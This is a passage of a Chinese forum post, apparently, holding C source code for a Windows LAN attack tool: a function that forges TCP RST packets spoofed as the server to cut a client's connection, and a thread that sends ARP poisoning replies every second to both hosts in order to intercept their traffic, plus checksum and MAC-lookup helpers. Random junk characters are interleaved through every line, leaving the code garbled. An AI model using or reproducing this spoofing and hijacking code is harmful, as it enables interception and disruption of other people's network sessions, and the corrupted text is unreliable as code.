- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
__finally
G. J; Q6 `/ V. |; L/ | {
8 }) k+ N5 b7 ~ if(pHiJackPacket) free(pHiJackPacket);
" ?9 Q+ A% T/ J } 8 N5 M% ?0 ^& K9 G" D2 }
return bRet; . W7 q- v: L& m4 B
} $ D* Z: H0 l- p
- n' j0 c" P. B0 L2 J0 p
' [2 ]7 {$ m+ N$ d( |; ~
// 8 I5 H1 `& E& m; w, E8 Z t( ^
//功能:伪装成Server给Client发送rst包 0 ~# b5 q p G
// 9 w8 w8 N0 |3 ?1 N7 _
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
`. k% |. Z: \+ m{ % Y" f+ g b8 ]3 Z2 G
char szBuff[60]; `1 C$ X T9 j( i7 f
PSDHDR psdhdr;
9 F2 l: W' t! P* V" ` PTCPPACKET pTcpPacket = NULL;
4 F0 M0 g% S& @+ J- \, ^( | BOOL bRet = FALSE;
o2 ~( l0 j1 g9 E) ^: l1 S& I- Y
$ T# n9 d$ @' t" v __try 6 l$ ~/ K0 F' ?& ?6 O
{
' C" E; }( J" h4 O //检查当前指向想控制的连接的信息的指针是否为空 8 R# C, K" E) x& x0 L' ]' w
if(!g_pCurrCtrlConn) __leave; ) n9 c" R& x* c1 _& p8 b
//allocate memory for rst packet # K' t" V1 c7 B
pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); 7 E$ M# {) U& G. }: P; M0 C2 p
if(!pTcpPacket) * F7 g% h0 I! @$ \4 @: ?
{ ! m. x: ] b* z' B% {
printf("malloc error:%d\n", GetLastError()); 8 T, |% P* C7 v3 L3 {/ g
__leave;
/ p6 }0 i n, J. X } 3 D6 A0 w. I" t9 P
//fill ethernet head
( W5 t3 I! e r8 b/ P5 x4 Q memcpy(pTcpPacket->ehhdr.DestMAC, g_szClientSideMAC, 6);
5 S' C }/ X* n& P memcpy(pTcpPacket->ehhdr.SourceMAC, g_szOwnMAC, 6); 5 W& H X: y0 V. N, c- O
pTcpPacket->ehhdr.EthernetType = htons(EPT_IP); * Y/ w. l- R7 O/ l# K
//fil ip head
9 J" t# x& l+ h7 e pTcpPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); ) ]+ O$ [9 L+ n/ E$ v' D$ S
pTcpPacket->iphdr.tos = 0;
* D0 {: x0 Y, Z9 Y5 b2 s8 p% ~ pTcpPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)); 4 O/ u/ ?! F& o
pTcpPacket->iphdr.ident = 1;
! D0 f d" _3 T. B pTcpPacket->iphdr.frag_and_flags = 0; " ]7 ^& K" C' x! x) Z" j
pTcpPacket->iphdr.ttl = 128; " l- Q A' J2 N) ~* j
pTcpPacket->iphdr.proto = IPPROTO_TCP;
9 x, e4 E; Z. H1 V/ z pTcpPacket->iphdr.checksum = 0;
6 Y6 s/ J- _. Q0 D, t' P pTcpPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwServerIP;//源IP地址,伪装成服务器的 # O2 o2 I- S8 H$ R! U7 r) g' g
pTcpPacket->iphdr.destIP = g_pCurrCtrlConn->dwClientIP;//接收此rst包的ip地址 5 s+ A' O' m" j
//fill tcp head
8 ^1 q7 Z) y" C) c- G' h pTcpPacket->tcphdr.th_sport = g_pCurrCtrlConn->uServerPort;//源端口号,伪装成服务器的端口 " T8 i5 |* h$ `1 X* O
pTcpPacket->tcphdr.th_dport = g_pCurrCtrlConn->uClientPort;//接收此rst包的端口
# L' b* ^5 _: w1 s+ w: W7 ^! I+ i pTcpPacket->tcphdr.th_seq = seq;//SYN : l8 ^# G1 }5 |
pTcpPacket->tcphdr.th_ack = ack;//ACK
9 w' V$ s% q3 o( D; M pTcpPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4<<4|0);
! I: k! H. ?+ F9 K/ i5 X pTcpPacket->tcphdr.th_flag = 4;//RST flag
3 R' _# k; J4 p+ G! J pTcpPacket->tcphdr.th_win = 0; # Q+ @* Z) Y% a: P- ~! A0 W
pTcpPacket->tcphdr.th_urp = 0;
' u8 Z2 z0 c1 m* X/ x8 M" o pTcpPacket->tcphdr.th_sum = 0; , i9 L$ ^5 m: p6 x. n
//fill tcp psd head
; f& j9 R$ q: z& v psdhdr.saddr = pTcpPacket->iphdr.sourceIP;
4 W0 z0 e7 t1 a6 R/ d; [- _ psdhdr.daddr = pTcpPacket->iphdr.destIP; ' s- H% A# n2 R8 H# R
psdhdr.mbz = 0;
, }9 W( B0 g# a. ? psdhdr.ptcl = IPPROTO_TCP; ) E- M6 S: R" w9 u
psdhdr.tcpl = htons(sizeof(TCPHDR));
# T! d7 R* ~( ~' n7 f //calculate tcp checksum 6 d8 \! x* i. U9 B
memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
, _' ]( F0 d5 G4 s memcpy(szBuff + sizeof(PSDHDR), &pTcpPacket->tcphdr, sizeof(TCPHDR));
& ~6 Y2 v/ u) q, I* o0 I pTcpPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR)); % e+ ?, o: B# r8 P- V# i/ z* [4 S H4 X
//calculate IP checksum 5 o+ q" K( ?8 X3 S
pTcpPacket->iphdr.checksum = checksum((USHORT *)&pTcpPacket->iphdr, sizeof(IPHDR));
: `8 w9 l8 ~) a5 [/ s- d& q //fill send buffer - B# M. D* R$ W" q: s4 d$ ^) Z, B
memset(g_lpSendPacket->Buffer, 0, 1514); $ ]& @4 J. w' @+ ^4 @0 a
memcpy(g_lpSendPacket->Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
; N0 O( K* C" ^; B if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
; s9 m, G5 O" } y$ Z {
6 Q, M, f2 ~+ H4 o- N" H printf("Error sending the rst packets!\n");
. o9 W. V' F: ^ __leave;
8 u0 L- \" D9 q2 F0 H } " K4 u3 w% j( X
else printf("Send RST packet ok!\n");
* D5 G+ e2 N: O3 U# _/ V T$ R+ ]& M bRet = TRUE;
0 D. D$ {* W) C( U9 s. z }
* G+ Q2 _0 Y; W7 @2 M __finally
$ M: X9 K' p& B% \ {
! O u. F2 N% X5 I1 t if(pTcpPacket) free(pTcpPacket); * b' k8 J y5 b) d% h
} 4 ^4 d. A+ ]/ j9 N' U
return bRet; V. }* E# o9 l) X
} 8 ]2 J, D) ?% w
" v+ ?' C, A0 J! b//
R# M9 t" F8 v- _; Q) ?/ m//功能:计算校验和 - @) T6 {3 F) s# P, ?6 O6 f
// ' f& b& j9 T* y* G' ~( B- h
USHORT checksum(USHORT *buffer, int size)
6 x3 k; w1 [- y! a* Z5 w) u{ - p8 j e, y ?& z9 Q
unsigned long cksum=0;
* A# b4 b% t- ?$ M& F1 j4 n2 D while(size >1) {
) L! P6 K% Z) s% H cksum+=*buffer++;
8 J) o; [6 @) ]9 u m0 Y size -=sizeof(USHORT);
& m D/ V/ A1 M2 c, U, `# G1 B+ _ }
% s- C" \* m' k if(size ) { , ^* ?* ~! F* H6 W
cksum += *(UCHAR*)buffer;
2 F. Z7 t. v7 y5 Z: [ T }
9 [% |! h, U; _& l I cksum = (cksum >> 16) + (cksum & 0xffff);
1 x" r' G" U8 g4 [ cksum += (cksum >>16);
+ R: v5 M% Y. h1 q# \6 y4 i+ G# [- { return (USHORT)(~cksum); " X+ e# o& t5 g: W: V
}
X7 R8 l& V0 S8 x, L, ^) L; Q: |7 _" v3 X
//
- I; W# I0 g. c0 ]. X9 R//功能:实施ARP欺骗
: x2 d( m+ x; x& a5 b+ P//1 告诉ServerSide,ClientSide的mac是ownmac & |6 f) F( n2 S# E" }/ D
//2 告诉ClientSide,ServerSide的mac是ownmac
8 l9 X% y! T: c# f; K6 ~// 4 l0 G4 v: P' E0 M& z( d# g
DWORD WINAPI ArpSpoofThread(LPVOID lpType)
! p; G0 x$ ]; ?; \ A$ j{ % n4 d) n( g- t& y5 F( g" Y' }
int iType = *(int *)lpType;
) Z8 g9 ?! _. d9 R$ M ARPPACKET ArpPacket;
6 ^/ Y0 k. \0 J8 k' A LPPACKET lpArpPacket;
+ Q' c: ]( A5 D6 w/ j" h) i' k' d char szArpBuff[60]; - i5 Z$ ^" H% I3 I+ g
) `8 [! b. m. j* K
switch(iType)
- {! }$ N7 u: A" K2 G { + e) M) V4 b9 x) ]$ h2 x7 s% B+ x
case 1: & |" _, S- \" ]- p: H8 t6 r4 {
memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6); 4 z2 O6 s, q2 \* Z
ArpPacket.arphdr.DestIP = g_ServerSideIP; C5 ^& p, ]& a' z+ n9 a
ArpPacket.arphdr.SourceIP = g_ClientSideIP;
0 C& J* P; ?+ L4 n9 A- M break; " ?( I- N. w2 k, L F: L8 r
case 2: 3 H6 A7 a6 J& h& y. e! b2 C, ]
memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6); 9 |# |! r# U" i2 h0 h9 m8 ]3 a3 \
ArpPacket.arphdr.DestIP = g_ClientSideIP; / H5 D" [, u/ _. ~8 I" e
ArpPacket.arphdr.SourceIP = g_ServerSideIP; + h# c$ l. i: p. E2 t+ B! k1 Z% g0 P
break; " g! ]2 i/ C, i `, ^4 z
default: 6 J8 [3 d5 Q) @) _
return 0;
, h( m, N. S) y" i. N8 x/ l }
# y9 Z% V! M+ [+ t; }, g //ethernet head " ?7 j4 ?. x0 N/ e- }8 ^
memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
/ [/ E( s. M0 C8 v( ~1 Q8 f1 X ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
S* M4 b9 q' J& m1 \ //arp head
- P% B% X$ G9 i% B1 k memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
! K( ?' ~1 V1 U memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
. W K4 `8 h5 t% v. x" ?9 M ArpPacket.arphdr.HrdAddrlen = 6; 2 S* J2 I9 l* H4 ?% z/ U% J
ArpPacket.arphdr.ProAddrLen = 4;
0 F) f7 I* Y" s ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE); \, { Z' R, v3 q, P% a
ArpPacket.arphdr.ProType = htons(EPT_IP); 3 f: \+ ~0 ~- z- G, [$ n
ArpPacket.arphdr.op = htons(2);//arp reply
5 j3 M5 V1 e8 Z
5 \3 M, V2 u6 O7 m5 d6 i lpArpPacket = PacketAllocatePacket(); ) ]( t& W( F5 ~+ n
if(lpArpPacket == NULL) 1 N: f. ]' o- u' g
{
! H1 b3 `% e. S2 f5 j3 f printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n"); n6 q; j5 e u. a+ M% R E
return 0;
1 C+ \! A0 N7 t$ `8 j' d0 t } 9 f/ Q% Y3 p* h! s/ `* j
memset(szArpBuff, 0, sizeof(szArpBuff)); 7 ?; n/ ~# t. I* e
memcpy(szArpBuff, (char *)&ArpPacket, sizeof(ARPPACKET)); / W5 a% B* E- f& E
PacketInitPacket(lpArpPacket, szArpBuff, 60);
& Z/ `3 j3 o8 l8 U* m$ [ //send arp packet
# K0 l9 m5 ?# o- y0 ?0 b" v while(1) 9 D; o6 m' K2 h( \* p R
{
/ g- Z- z' s& C: G' R: Y/ M if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
4 `7 U8 ]: D7 H, ] { 6 n* z4 G% D+ n. e' k- Y5 G
printf("Error sending the arp spoof packets!\n"); " ^# z6 _) z }8 f! h6 o* Q( v
return 0;
6 {% U4 u, B5 v2 ?( w: m4 A }
- w; d: z1 l W4 w- X: R* t Sleep(1000);
! Z# K/ L! D2 Z& O2 T m; S }
# K& h, y2 W, R' C$ X" U return 0;
/ I. Q+ j5 F! l}
3 Q' d. O6 D: _
, a0 m. _, F+ b7 R! R// 2 Y% M. N j7 }7 X
//功能:输入IP取得对应的MAC地址
" n2 q8 x, i" [3 x" P- Q' r. f) n" {//
W0 t# Y. I) I) KBOOL GetMACAddr(DWORD DestIP, char *pMAC) : t! S. D9 A q: g
{
: L' Z% [# L f7 |& x6 @ DWORD dwRet;
5 F9 s$ p0 }; Z6 C2 Z ULONG ulLen = 6, pulMac[2]; 0 b. a5 ?; I' s! z( t2 R
dwRet = SendARP(DestIP, 0, pulMac, &ulLen); 6 s; o# A. M8 _! n/ h
if(dwRet == NO_ERROR)
9 Q( [% Z0 t# h8 _9 D" u% p* b { / t, e3 a7 b& S+ N S
memcpy(pMAC, pulMac, 6); ! n2 ?$ Q& U3 K& S
return TRUE;
9 J+ G7 a b. x& T- y: H. d, d } 9 K5 ]9 |' x3 \; p
else return FALSE;
7 v3 T, w" W& ]+ f} |
|